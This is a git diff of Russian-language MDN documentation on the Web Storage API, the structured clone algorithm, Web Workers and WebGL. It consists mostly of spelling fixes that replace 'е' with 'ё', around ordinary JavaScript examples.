          Чтобы проиллюстрировать типичное использование веб хранилища, мы создали простейший пример и назвали его Web Storage Demo. На лендинге нашего примера вы найдёте элементы управления для изменения фонового цвета, шрифта и изображения. Когда вы выбираете разные опции, страница мгновенно меняется. В дополнение, ваш выбор сохраняется в локальном хранилище, чтобы, если вы покинете страницу и потом загрузите её снова, ваши настройки восстановились. 

          Также, мы сделали страницу вывода событий, которая выводит информацию о хранилище, каждый раз когда срабатывает событие {{domxref("StorageEvent")}}. Загрузите эту страницу в другой вкладке браузера, затем вернитесь на лендинг и поменяйте значения цвета, шрифта или изображения и понаблюдайте, как меняется выводимая информация.

          @@ -120,7 +120,7 @@ translation_of: Web/API/Web_Storage_API
          -

          У каждого браузера свои объемы localStorage и sessionStorage. Здесь об ограничениях размеров хранилищ для разных браузеров.

          +

          У каждого браузера свои объёмы localStorage и sessionStorage. Здесь об ограничениях размеров хранилищ для разных браузеров.

          Замечание:  Начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в cache директории, которая время от времени подчищается системой, в основном когда кончается место.

          @@ -128,11 +128,11 @@ translation_of: Web/API/Web_Storage_API

          Приватный режим/Инкогнито

          -

          Многие браузеры в наши дни поддерживают опции приватности, названные "Инкогнито" или "Приватный просмотр" и т.п., что позволяет быть уверенными, что следов приватной сессии не остается после закрытия браузера. Это фундаментальная несовместимость с Веб хранилищем по очевидным причинам. Таким образом, производители браузеров экспериментируют с различными сценариями, как справиться с этой несовместимостью.

          +

          Многие браузеры в наши дни поддерживают опции приватности, названные "Инкогнито" или "Приватный просмотр" и т.п., что позволяет быть уверенными, что следов приватной сессии не остаётся после закрытия браузера. Это фундаментальная несовместимость с Веб хранилищем по очевидным причинам. Таким образом, производители браузеров экспериментируют с различными сценариями, как справиться с этой несовместимостью.

          Многие браузеры выбрали стратегию, когда API хранилища доступно и кажется полностью функциональным, с одним большим отличием - все данные хранилища стираются после закрытия браузера. Для этих браузеров есть ещё другие интерпретации того, что следует делать с хранимыми данными (от обычного режима браузера). Следует ли им быть доступными в приватном режиме? Затем, есть несколько браузеров, особенно Safari, которые выбрали решение, в котором хранилище доступно, но пустое и имеет квоту 0 байт, фактически, делая невозможной запись туда данных.

          -

          Разработчики должны быть осведомлены об этих различных реализациях и принимать их во внимание при разработке веб-сайтов, зависящих от API Веб хранилища. Для получения более подробной информации, пожалуйста, посмотрите на этот пост блога WHATWG, специально посвященный этой теме.

          +

          Разработчики должны быть осведомлены об этих различных реализациях и принимать их во внимание при разработке веб-сайтов, зависящих от API Веб хранилища. Для получения более подробной информации, пожалуйста, посмотрите на этот пост блога WHATWG, специально посвящённый этой теме.

          Смотрите также

          diff --git a/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html index 2048019f7c..882f40200d 100644 --- a/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html +++ b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html @@ -23,7 +23,7 @@ localStorage.setItem('colorSetting', '#a4509b');
        1. (localStorage) делает то же самое, но сохраняет данные даже в случае, если переоткрыть браузер. 
    -

    Оба механизма доступны через  {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в броузерах, поддерживающих хранилища объект Window  выполняет объекты WindowLocalStorageи WindowSessionStorage, которые содержат свойства localStorageи sessionStorage) — вызов одного из них создает экземпляр объекта Storage, через который можно устанавливать, редактировать и удалять данные. Разные Storage объекты будут использовать sessionStorage и localStorage поэтому они используются и управляются раздельно 

    +

    Оба механизма доступны через  {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в броузерах, поддерживающих хранилища объект Window  выполняет объекты WindowLocalStorageи WindowSessionStorage, которые содержат свойства localStorageи sessionStorage) — вызов одного из них создаёт экземпляр объекта Storage, через который можно устанавливать, редактировать и удалять данные. Разные Storage объекты будут использовать sessionStorage и localStorage поэтому они используются и управляются раздельно 

    Так, например, изначально вызов localStorage в документе возвращает {{domxref("Storage")}} объект; вызов sessionStorage в документе возвращает другой {{domxref("Storage")}} объект. Оба объекта могут управляться одинаково, но отдельно.

    @@ -33,7 +33,7 @@ localStorage.setItem('colorSetting', '#a4509b');

    Проверка на наличие

    -

    Браузеры поддерживаемые localStorage будут иметь свойство localStorage объекта window. Тем не менее по различным причинам, простое утверждение, что это свойство существует, может вызывать исключение. Если localStorage существует это еще не дает гарантии, что оно доступно,  т.к. различные броузеры обладают настройками которые отключают его. Поэтому браузер может поддерживать localStorage, но не делает его доступным для скриптов на странице. Один из таких примеров браузер Safari, который в Private Browsing mode возвращает нам пустой localStorage объект, фактически делая его непригодным для использования . Наша функция должна принимать во внимание этот сценарий. 

    +

    Браузеры поддерживаемые localStorage будут иметь свойство localStorage объекта window. Тем не менее по различным причинам, простое утверждение, что это свойство существует, может вызывать исключение. Если localStorage существует это ещё не даёт гарантии, что оно доступно,  т.к. различные броузеры обладают настройками которые отключают его. Поэтому браузер может поддерживать localStorage, но не делает его доступным для скриптов на странице. Один из таких примеров браузер Safari, который в Private Browsing mode возвращает нам пустой localStorage объект, фактически делая его непригодным для использования . Наша функция должна принимать во внимание этот сценарий. 

    Функция, которая проверяет браузеры на поддержку и доступность localStorage:

    @@ -65,19 +65,19 @@ else {

    Чтобы проиллюстрировать типичное использование Web storage, мы создали простой пример, назвав его Web Storage Demo. На целевой странице представлены элементы управления, которые можно использовать для настройки цвета, шрифта и декоративного изображения:

    -

    Когда вы выбираете различные опции, страница немедленно перезагружается; в дополнение, ваш выбор сохраняется в localStorage, таким образом когда вы покидаете страницу и загружаете ее снова спустя некоторое время, ваши параметры сохраняются.

    +

    Когда вы выбираете различные опции, страница немедленно перезагружается; в дополнение, ваш выбор сохраняется в localStorage, таким образом когда вы покидаете страницу и загружаете её снова спустя некоторое время, ваши параметры сохраняются.

    -

    Мы также предоставили страницу вывода событий - если вы загрузите эту страницу в другой вкладке, затем сделаете некоторые изменения в landing page, вы увидите обновленную информацию о хранилище.

    +

    Мы также предоставили страницу вывода событий - если вы загрузите эту страницу в другой вкладке, затем сделаете некоторые изменения в landing page, вы увидите обновлённую информацию о хранилище.

    -

    Примечание: Помимо просмотра примеров выше, используя приведенные ссылки выше , вы можете также просмотреть исходный код.

    +

    Примечание: Помимо просмотра примеров выше, используя приведённые ссылки выше , вы можете также просмотреть исходный код.

    Проверка на заполненность хранилища

    -

    Начнем с main.js, мы проверим был ли уже заполнен объект Storage (т.е страница была ранее доступна)

    +

    Начнём с main.js, мы проверим был ли уже заполнен объект Storage (т.е страница была ранее доступна)

    if(!localStorage.getItem('bgcolor')) {
       populateStorage();
    @@ -86,7 +86,7 @@ else {
     }
     
    -

    Метод {{domxref("Storage.getItem()")}} используется для получения данных из storage; в этом примере мы проверяем, чтобы увидеть существует ли bgcolor; если нет, мы запускаем populateStorage(), чтобы добавить значение по умолчанию в storage. Если значения уже есть там, мы запускаем setStyles(), для обновления стиля страница с сохраненными значениями.
    +

    Метод {{domxref("Storage.getItem()")}} используется для получения данных из storage; в этом примере мы проверяем, чтобы увидеть существует ли bgcolor; если нет, мы запускаем populateStorage(), чтобы добавить значение по умолчанию в storage. Если значения уже есть там, мы запускаем setStyles(), для обновления стиля страница с сохранёнными значениями.
    Примечание: Вы можете также использовать {{domxref("Storage.length")}} для проверки storage object.

    Получение данных из Storage

    @@ -147,7 +147,7 @@ imageForm.onchange = populateStorage;

    Удаление записанных данных

    -

    Web Storage также предоставляет несколько простых методов для удаления данных. Мы не используем эти методы в нашем дема, но они очень простые, чтобы добавить их в проект:

    +

    Web Storage также предоставляет несколько простых методов для удаления данных. Мы не используем эти методы в нашем дёма, но они очень простые, чтобы добавить их в проект:

    • {{domxref("Storage.removeItem()")}} принимает единственный аргумент - ключ элемента данных, который вы хотите удалить - и удаляет его из объекта хранения для этого домена. 
    • diff --git a/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html index e53a1144ba..c6e9737833 100644 --- a/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html +++ b/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html @@ -3,7 +3,7 @@ title: Алгоритм структурированного клонирова slug: Web/API/Web_Workers_API/Structured_clone_algorithm translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm --- -

      Алгоритм структурированного клонирования — это новый алгоритм, определенный спецификацией HTML5 для сериализации комплексных JavaScript объектов. Он более функционален, чем JSON в том что способен поддерживать сериализацию объектов содержащих циклические графы — первичные объекты, которые ссылаются на другие объекты у которых есть ссылка на первичные объекты в том же графе. В дополнение, в некоторых других случаях алгоритм структурированного клонирования может быть более эффективен, чем JSON.

      +

      Алгоритм структурированного клонирования — это новый алгоритм, определённый спецификацией HTML5 для сериализации комплексных JavaScript объектов. Он более функционален, чем JSON в том что способен поддерживать сериализацию объектов содержащих циклические графы — первичные объекты, которые ссылаются на другие объекты у которых есть ссылка на первичные объекты в том же графе. В дополнение, в некоторых других случаях алгоритм структурированного клонирования может быть более эффективен, чем JSON.

      Алгоритм, по существу, перебирает все поля оригинального объекта, дублируя значения каждого поля в новый объект. Если поле представляет из себя объект с собственными полями, то эти дочерние поля также перебираются рекурсивно, пока каждое поле и все дочерние поля не будут продублированы в новый объект.

      @@ -107,7 +107,7 @@ translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm

      Другой вариант: вложенное копирование‎

      -

      Если вы хотите сделать вложенную копию объекта (т.е рекурсивно копировать все вложенные свойства, проходя по прототипной цепи),  вы должны использовать другой подход. Ниже приведен возможный пример.

      +

      Если вы хотите сделать вложенную копию объекта (т.е рекурсивно копировать все вложенные свойства, проходя по прототипной цепи),  вы должны использовать другой подход. Ниже приведён возможный пример.

      function clone(objectToBeCloned) {
         // Basis.
      @@ -142,7 +142,7 @@ translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm
       
       
        Note: Этот алгоритм  реализован  только для  RegExp, Array, и Date специальных объектов. Вы можете реализовать другие условия, удовлетворяющие вашим потребностям.
      -

      Еще по теме

      +

      Ещё по теме

      • HTML5 Specification: Safe passing of structured data
      • diff --git a/files/ru/web/api/web_workers_api/using_web_workers/index.html b/files/ru/web/api/web_workers_api/using_web_workers/index.html index 9767a15c43..e54339bd17 100644 --- a/files/ru/web/api/web_workers_api/using_web_workers/index.html +++ b/files/ru/web/api/web_workers_api/using_web_workers/index.html @@ -9,11 +9,11 @@ original_slug: DOM/Using_web_workers ---
        {{DefaultAPISidebar("Web Workers API")}}
        -

        Web Worker-ы предоставляют простое средство для запуска скриптов в фоновом потоке. Поток Worker'а может выполнять задачи без вмешательства в пользовательский интерфейс. К тому же, они могут осуществлять ввод/вывод, используя XMLHttpRequest (хотя атрибуты responseXML и channel всегда будут равны null). Существующий Worker может отсылать сообщения JavaScript коду-создателю через обработчик событий, указанный этим кодом (и наоборот). Эта статья дает детальную инструкцию по использованию Web Workers.

        +

        Web Worker-ы предоставляют простое средство для запуска скриптов в фоновом потоке. Поток Worker'а может выполнять задачи без вмешательства в пользовательский интерфейс. К тому же, они могут осуществлять ввод/вывод, используя XMLHttpRequest (хотя атрибуты responseXML и channel всегда будут равны null). Существующий Worker может отсылать сообщения JavaScript коду-создателю через обработчик событий, указанный этим кодом (и наоборот). Эта статья даёт детальную инструкцию по использованию Web Workers.

        Web Workers API

        -

        Worker - это объект, создаваемый конструктором (например, {{domxref("Worker.Worker", "Worker()")}}) и запускающий именной JavaScript файл — этот файл содержит код, который будет выполнен в потоке Worker'а; объекты же Workers запускаются в другом глобальном контексте, отличающемся от текущего, - {{domxref("window")}}. Поэтому использование переменной {{domxref("window")}} для получения текущего глобального контекста (вместо {{domxref("window.self","self")}}) внутри {{domxref("Worker")}} вернет ошибку.

        +

        Worker - это объект, создаваемый конструктором (например, {{domxref("Worker.Worker", "Worker()")}}) и запускающий именной JavaScript файл — этот файл содержит код, который будет выполнен в потоке Worker'а; объекты же Workers запускаются в другом глобальном контексте, отличающемся от текущего, - {{domxref("window")}}. Поэтому использование переменной {{domxref("window")}} для получения текущего глобального контекста (вместо {{domxref("window.self","self")}}) внутри {{domxref("Worker")}} вернёт ошибку.

        Контекст Worker'а представлен объектом {{domxref("DedicatedWorkerGlobalScope")}} в случае выделенных Workers (обычные Workers используются одним скриптом; совместные Workers используют объект {{domxref("SharedWorkerGlobalScope")}}). Выделенный Worker доступен только из скрипта-родителя, в то время как совместные Workers могут быть доступны из нескольких сценариев.

        @@ -29,7 +29,7 @@ original_slug: DOM/Using_web_workers

        Выделенные Workers

        -

        Как уже упоминалось выше, выделенный Worker доступен только для скрипта, который его вызвал. В этом разделе речь пойдет о JavaScript, который можно найти в нашем основном примере выделенного Worker (запустить скрипт): этот пример позволяет ввести два числа для умножения. Эти числа отправляются в Worker, перемножаются, а результат возвращается на страницу и отображается.

        +

        Как уже упоминалось выше, выделенный Worker доступен только для скрипта, который его вызвал. В этом разделе речь пойдёт о JavaScript, который можно найти в нашем основном примере выделенного Worker (запустить скрипт): этот пример позволяет ввести два числа для умножения. Эти числа отправляются в Worker, перемножаются, а результат возвращается на страницу и отображается.

        Этот пример достаточно тривиален, но для ознакомления с базовыми концепциями worker-ов мы решили его упростить. Более продвинутые детали описаны далее в статье.

        @@ -66,7 +66,7 @@ second.onchange = function() { console.log('Message posted to worker'); }
      -

      В приведенном фрагменте кода мы имеем два {{htmlelement("input")}} элемента, представленных переменными first и second; когда значение любой из переменных изменяется, myWorker.postMessage([first.value,second.value]) используется для отправки обоих значений, представленных в виде массива, в worker. Посредством аргумента message возможна передача практически любых данных в worker.

      +

      В приведённом фрагменте кода мы имеем два {{htmlelement("input")}} элемента, представленных переменными first и second; когда значение любой из переменных изменяется, myWorker.postMessage([first.value,second.value]) используется для отправки обоих значений, представленных в виде массива, в worker. Посредством аргумента message возможна передача практически любых данных в worker.

      Внутри worker-a мы можем обрабатывать сообщения и отвечать на них при помощи добавления обработчика события onmessage подобным образом (worker.js):

      @@ -90,7 +90,7 @@ second.onchange = function() {

      Заметка: Обратите внимание, что onmessage()​ и postmessage() должны вызываться из экземпляра Worker в главном потоке, но не в потоке worker-а. Это связано с тем, что внутри потока worker-а, worker выступает в качестве глобального объекта.

      -

      Заметка: При передаче сообщения между основным потоком и потоком worker-а, оно копируется или "передается" (перемещается), не делится между потоками. Читайте {{anch("Transferring data to and from workers: further details")}} для более подробного объяснения.

      +

      Заметка: При передаче сообщения между основным потоком и потоком worker-а, оно копируется или "передаётся" (перемещается), не делится между потоками. Читайте {{anch("Transferring data to and from workers: further details")}} для более подробного объяснения.

      Завершение работы worker-а

      @@ -123,7 +123,7 @@ second.onchange = function() {

      Импорт скриптов и библиотек

      -

      Worker потоки имеют доступ к глобальной функции, importScripts(), которая позволяет импортировать скрипты с того же домена в их область видимости. Функция принимает ноль и более URI параметров, как список ссылок на ресурсы для импорта; все нижеприведенные примеры верны:

      +

      Worker потоки имеют доступ к глобальной функции, importScripts(), которая позволяет импортировать скрипты с того же домена в их область видимости. Функция принимает ноль и более URI параметров, как список ссылок на ресурсы для импорта; все нижеприведённые примеры верны:

      importScripts();                        /* imports nothing */
       importScripts('foo.js');                /* imports just "foo.js" */
      @@ -132,13 +132,13 @@ importScripts('foo.js', 'bar.js');      /* imports two scripts */
       
       

      Браузер загружает каждый указанный скрипт и исполняет его. Любые глобальные объекты, создаваемые каждым скриптом могут быть использованы в worker'е. Если скрипт не удалось загрузить, будет брошена ошибка NETWORK_ERROR, и последующий код не будет исполнен. Тем не менее код, исполненный ранее (включая отложенный при помощи {{domxref("window.setTimeout()")}}) останется функционален. Объявления функций идущие после вызова метода importScripts() также будут доступны, т.к. объявления функций всегда обрабатываются перед остальным кодом.

      -
      Заметка: Скрипты могут быть загружены в произвольном порядке, но их исполнение будет в  том порядке, в котором имена файлов были переданы в importScripts(). Функция выполняется синхронно; importScripts() не вернет исполнение, пока все скрипты не будут загружены и исполнены.
      +
      Заметка: Скрипты могут быть загружены в произвольном порядке, но их исполнение будет в  том порядке, в котором имена файлов были переданы в importScripts(). Функция выполняется синхронно; importScripts() не вернёт исполнение, пока все скрипты не будут загружены и исполнены.

      Разделяемые worker-ы (Shared workers)

      Разделяемый worker доступен нескольким разным скриптам — даже если они находятся в разных окнах, фреймах или даже worker-ах. В этом разделе мы обсудим JavaScript, который можно найти в нашем базовом примере разделяемых worker-ов (запустить разделяемый worker): Он очень похож на базовый пример выделенных worker-ов, за исключением двух функций, которые доступны из разных скриптовых файлов: умножение двух чисел или возведение числа в степень. Оба скрипта используют один и тот же worker для необходимых вычислений.

      -

      Здесь мы сосредоточимся на разнице между выделенными и разделенными worker-ами. Обратите внимание, что в данном примере есть две HTML страницы с JavaScript кодом, которые используют один и тот же файл worker-а.

      +

      Здесь мы сосредоточимся на разнице между выделенными и разделёнными worker-ами. Обратите внимание, что в данном примере есть две HTML страницы с JavaScript кодом, которые используют один и тот же файл worker-а.

      Заметка: Если разделяемый worker может быть доступен из нескольких контекстов просмотра, то все они должны иметь одно и то же происхождение (одни и те же протокол, хост и порт).

      @@ -168,7 +168,7 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */

      Передача сообщений в/из разделяемого worker-а

      -

      Теперь сообщения могут быть отправлены worker-у, как и прежде, но метод postMessage() должен вызываться из объекта port (еще раз, вы можете увидеть схожие конструкции в multiply.js и square.js):

      +

      Теперь сообщения могут быть отправлены worker-у, как и прежде, но метод postMessage() должен вызываться из объекта port (ещё раз, вы можете увидеть схожие конструкции в multiply.js и square.js):

      squareNumber.onchange = function() {
         myWorker.port.postMessage([squareNumber.value,squareNumber.value]);
      @@ -190,9 +190,9 @@ importScripts('foo.js', 'bar.js');      /* imports two scripts */
       
       

      Мы используем атрибут события ports, чтобы получить порт и сохранить его в переменной.

      -

      Второй этап — это обработчик события message на сохраненном порту. Он нужен для подсчета и вывода результата вычисления в основной поток. Установка обработчика message в потоке worker-а также открывает подключение к родительскому потоку, поэтому вызов на port.start() на самом деле не нужен (см. код обработчика onconnect).

      +

      Второй этап — это обработчик события message на сохранённом порту. Он нужен для подсчёта и вывода результата вычисления в основной поток. Установка обработчика message в потоке worker-а также открывает подключение к родительскому потоку, поэтому вызов на port.start() на самом деле не нужен (см. код обработчика onconnect).

      -

      Последний этап — возвращение в основной поток и обработка сообщения от worker‑а (еще раз, вы можете увидеть схожие конструкции в multiply.js и square.js):

      +

      Последний этап — возвращение в основной поток и обработка сообщения от worker‑а (ещё раз, вы можете увидеть схожие конструкции в multiply.js и square.js):

      myWorker.port.onmessage = function(e) {
         result2.textContent = e.data[0];
      @@ -209,7 +209,7 @@ importScripts('foo.js', 'bar.js');      /* imports two scripts */
       
       

      Передача данных в и из worker-ов: другие детали

      -

      Передача данных между главной страницей и worker-ом происходит путем копирования, а не передачи по ссылке. Объекты сериализуются при передаче и затем десериализуются на другом конце. Страница и worker не используют совместно одни и те же экземпляры, для каждого создается свой. Большинство браузеров реализуют это структурированным клонированием (structured cloning).

      +

      Передача данных между главной страницей и worker-ом происходит путём копирования, а не передачи по ссылке. Объекты сериализуются при передаче и затем десериализуются на другом конце. Страница и worker не используют совместно одни и те же экземпляры, для каждого создаётся свой. Большинство браузеров реализуют это структурированным клонированием (structured cloning).

      Для иллюстрации этого мы создадим функцию emulateMessage(), которая будет имитировать поведение значения, которое клонируется, но не используется совместно при переходе от worker-а к главной странице или наоборот.

      @@ -251,7 +251,7 @@ var example5 = new Animal("Cat", 3); alert(example5.constructor); // Animal alert(emulateMessage(example5).constructor); // Object
      -

      Значения, которые клонируются и совместно не используются, называются сообщениями. Как вы, возможно, знаете, сообщения могут быть отправлены в главную страницу и из нее, используя postMessage(), и {{domxref("MessageEvent.data", "data")}}, содержа данные, передаваемые из worker-а.

      +

      Значения, которые клонируются и совместно не используются, называются сообщениями. Как вы, возможно, знаете, сообщения могут быть отправлены в главную страницу и из неё, используя postMessage(), и {{domxref("MessageEvent.data", "data")}}, содержа данные, передаваемые из worker-а.

      example.html: (главная страница):

      @@ -279,7 +279,7 @@ onmessage = function (oEvent) {

      Если вам нужно передать сложные данные и вызвать множество различных функций как на главной странице, так и в worker-е, вы можете создать следующую систему.

      -

      В первую очередь мы создаем класс QueryableWorker, который принимает url worker-а, стандартный обработчик событий (defaultListener) и обработчик ошибок. Этот класс будет отслеживать всех обработчиков и поможет нам общаться с воркером.

      +

      В первую очередь мы создаём класс QueryableWorker, который принимает url worker-а, стандартный обработчик событий (defaultListener) и обработчик ошибок. Этот класс будет отслеживать всех обработчиков и поможет нам общаться с воркером.

      function QueryableWorker(url, defaultListener, onError) {
           var instance = this,
      @@ -516,7 +516,7 @@ onmessage = function(oEvent) {
       
       

      Передача данных с помощью передачи владения (передаваемые объекты)

      -

      Google Chrome 17+ and Firefox 18+ имеют дополнительную возможность передачи определенных типов объектов (передаваемые объекты реализующие {{domxref("Transferable")}} интерфейс) к или из worker-а с высокой производительностью. Эти объекты передаются из одного контекста в другой без операций копирования, что приводит к значительному повышению производительности при отправке больших наборов данных. Думайте об этом как о передаче по ссылке в мире C/C++. Однако в отличии от передачи по ссылке, "версия" из вызывающего контекста больше недоступна после передачи. Владельцем становится новый контекст.  Для примера, после передачи {{domxref("ArrayBuffer")}} из главной страницы к worker-у,  исходный {{domxref("ArrayBuffer")}} очищается и более недоступен для использования.  Его содержание (в буквальном смысле) переносится в рабочий контекст.

      +

      Google Chrome 17+ and Firefox 18+ имеют дополнительную возможность передачи определённых типов объектов (передаваемые объекты реализующие {{domxref("Transferable")}} интерфейс) к или из worker-а с высокой производительностью. Эти объекты передаются из одного контекста в другой без операций копирования, что приводит к значительному повышению производительности при отправке больших наборов данных. Думайте об этом как о передаче по ссылке в мире C/C++. Однако в отличии от передачи по ссылке, "версия" из вызывающего контекста больше недоступна после передачи. Владельцем становится новый контекст.  Для примера, после передачи {{domxref("ArrayBuffer")}} из главной страницы к worker-у,  исходный {{domxref("ArrayBuffer")}} очищается и более недоступен для использования.  Его содержание (в буквальном смысле) переносится в рабочий контекст.

      // Create a 32MB "file" and fill it.
       var uInt8Array = new Uint8Array(1024*1024*32); // 32MB
      @@ -533,7 +533,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
       
       

      Встроенные worker-ы

      -

      Не существует утвержденного способа встроить код worker-а в рамках веб-страницы, как элемент {{HTMLElement("script")}} делает для обычных скриптов. Но элемент {{HTMLElement("script")}}, который не имеет атрибута src и атрибута  type, которому не назначен выполняемый MIME type, можно считать блоком данных для использования JavaScript. Блок данных "Data blocks" — это более общее свойство HTML5, может содержать любые текстовые данные. Так, worker может быть встроен следующим образом:

      +

      Не существует утверждённого способа встроить код worker-а в рамках веб-страницы, как элемент {{HTMLElement("script")}} делает для обычных скриптов. Но элемент {{HTMLElement("script")}}, который не имеет атрибута src и атрибута  type, которому не назначен выполняемый MIME type, можно считать блоком данных для использования JavaScript. Блок данных "Data blocks" — это более общее свойство HTML5, может содержать любые текстовые данные. Так, worker может быть встроен следующим образом:

      <!DOCTYPE html>
       <html>
      @@ -543,7 +543,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
       <script type="text/js-worker">
         // Этот script НЕ БУДЕТ анализироваться JS движками, потому что  его MIME-тип text/js-worker.
         var myVar = 'Hello World!';
      -  // Остальная часть кода вашего воркера идет сюда.
      +  // Остальная часть кода вашего воркера идёт сюда.
       </script>
       <script type="text/javascript">
         // Этот script БУДЕТ проанализирован JS движкам, потому что его MIME-тип text/javascript.
      @@ -560,7 +560,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
         onmessage = function(oEvent) {
           postMessage(myVar);
         };
      -  // Остальная часть кода вашего воркера идет сюда.
      +  // Остальная часть кода вашего воркера идёт сюда.
       </script>
       <script type="text/javascript">
         // Этот script БУДЕТ проанализирован JS движкам, потому что его MIME-тип text/javascript.
      @@ -585,7 +585,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
       </html>
       
      -
      Встраиваемый worker теперь внесен в новое custom свойство document.worker
      +
      Встраиваемый worker теперь внесён в новое custom свойство document.worker
      @@ -599,11 +599,11 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);

      Другие примеры

      -

      В этой секции представлено еще несколько примеров как использовать worker-ы.

      +

      В этой секции представлено ещё несколько примеров как использовать worker-ы.

      Выполнение вычислений в фоне

      -

      Worker-ы в основном полезны для того, чтобы позволить вашему коду выполнять ресурсоемкие вычисления, не блокируя поток пользовательского интерфейса. В этом примере, worker используется для вычисления числа Фибоначчи.

      +

      Worker-ы в основном полезны для того, чтобы позволить вашему коду выполнять ресурсоёмкие вычисления, не блокируя поток пользовательского интерфейса. В этом примере, worker используется для вычисления числа Фибоначчи.

      Код JavaScript

      @@ -672,7 +672,7 @@ onmessage = function(event) { </body> </html>
      -

      Веб-страница создает элемент div с ID result , который используется для отображения результата, а затем порождает worker. После порождения worker-а, обработчик onmessage настроен для отображения результатов путем установки содержимого элемента div, и обработчик onerror настроен на выброс сообщения об ошибке.

      +

      Веб-страница создаёт элемент div с ID result , который используется для отображения результата, а затем порождает worker. После порождения worker-а, обработчик onmessage настроен для отображения результатов путём установки содержимого элемента div, и обработчик onerror настроен на выброс сообщения об ошибке.

      Наконец, сообщение отправляется worker-у, чтобы запустить его.

      @@ -684,7 +684,7 @@ onmessage = function(event) {

      Разделение задач между множественными worker-ами

      -

      Поскольку многоядерные компьютеры становятся все более распространенными, часто бывает полезно разделить вычислительно сложные задачи между несколькими worker-ами, которые затем могут выполнить эти задачи на многопроцессорных ядрах.

      +

      Поскольку многоядерные компьютеры становятся все более распространёнными, часто бывает полезно разделить вычислительно сложные задачи между несколькими worker-ами, которые затем могут выполнить эти задачи на многопроцессорных ядрах.

      Другие типы worker-ов

      diff --git a/files/ru/web/api/webgl_api/index.html b/files/ru/web/api/webgl_api/index.html index 6a35a2dda3..dc83c9b165 100644 --- a/files/ru/web/api/webgl_api/index.html +++ b/files/ru/web/api/webgl_api/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/WebGL_API ---
      {{WebGLSidebar}}
      -

      WebGL (Web Graphics Library) - программная библиотека для языка JavaScript предназначенная для визуализации интерактивной трехмерной графики и двухмерной графики в пределах совместимости веб-браузера без использования плагинов. WebGL приносит в веб трехмерную графику, вводя API, который построен на основе OpenGL ES 2.0, что позволяет его использовать в элементах canvas HTML5 .

      +

      WebGL (Web Graphics Library) - программная библиотека для языка JavaScript предназначенная для визуализации интерактивной трёхмерной графики и двухмерной графики в пределах совместимости веб-браузера без использования плагинов. WebGL приносит в веб трёхмерную графику, вводя API, который построен на основе OpenGL ES 2.0, что позволяет его использовать в элементах canvas HTML5 .

      Поддержка WebGL присутствует в Firefox 4+, Google Chrome 9+, Opera 12+, Safari 5.1+ и Internet Explorer 11+. Однако помимо поддержки WebGL браузером, необходима также его поддержка графическим процессором клиента.

      @@ -51,11 +51,11 @@ translation_of: Web/API/WebGL_API
      Официальный сайт WebGL
      Веб-сайт разработчиков WebGL - Khronos Group.
      Изучение WebGL
      -
      Веб-сайт с уроками, посвященными использованию WebGL.
      +
      Веб-сайт с уроками, посвящёнными использованию WebGL.
      Основы WebGL
      Учебные материалы по основным возможностям WebGL.
      Матрицы в WebGL
      -
      Введение в использование матриц в двухмерной графике на WebGL. На этом ресурсе объясняется математическая основа перспективы в трехмерной графике.
      +
      Введение в использование матриц в двухмерной графике на WebGL. На этом ресурсе объясняется математическая основа перспективы в трёхмерной графике.
      Советы по использованию WebGL
      Веб-сайт с советами по написанию кода на WebGL.
      ewgl-matrices
      diff --git a/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html b/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html index 55ea7cad8c..4bafecab6d 100644 --- a/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html +++ b/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context

      Отрисовка сцены

      -

      На данном этапе очень важно понять одну вещь: не смотря на то, что мы в этом примере отрисовываем двухмерный объект, мы по-прежнему отрисовываем его в трехмерном пространстве. По существу, нам по-прежнему необходимо создать шейдеры, которые будут освещать нашу простую сцену,  и отрисовать наш объект. На данном шаге определим как квадрат будет освещаться.

      +

      На данном этапе очень важно понять одну вещь: не смотря на то, что мы в этом примере отрисовываем двухмерный объект, мы по-прежнему отрисовываем его в трёхмерном пространстве. По существу, нам по-прежнему необходимо создать шейдеры, которые будут освещать нашу простую сцену,  и отрисовать наш объект. На данном шаге определим как квадрат будет освещаться.

      Инициализация шейдеров

      @@ -44,11 +44,11 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context

      Этой процедурой загружаются две шейдерные программы. Первая - фрагментный шейдер, загружается из элемента script с ID "shader-fs". Вторая - вершинный шейдер, загружается из элемента script с ID "shader-vs". Мы рассмотрим функцию getShader() чуть ниже. Эта процедура фактически отвечает за извлечение шейдерных программ из DOM.

      -

      Затем мы создаем шейдерную программу, вызывая функцию createProgram() объекта WebGL, присоединяя два шейдера к нему, и связывая шейдерную программу. После выполнения этого, проверяется значение параметра LINK_STATUS объекта gl для того, чтобы убедиться, что программа успешно скомпонована. Если это так, мы активируем новую шейдерную программу.

      +

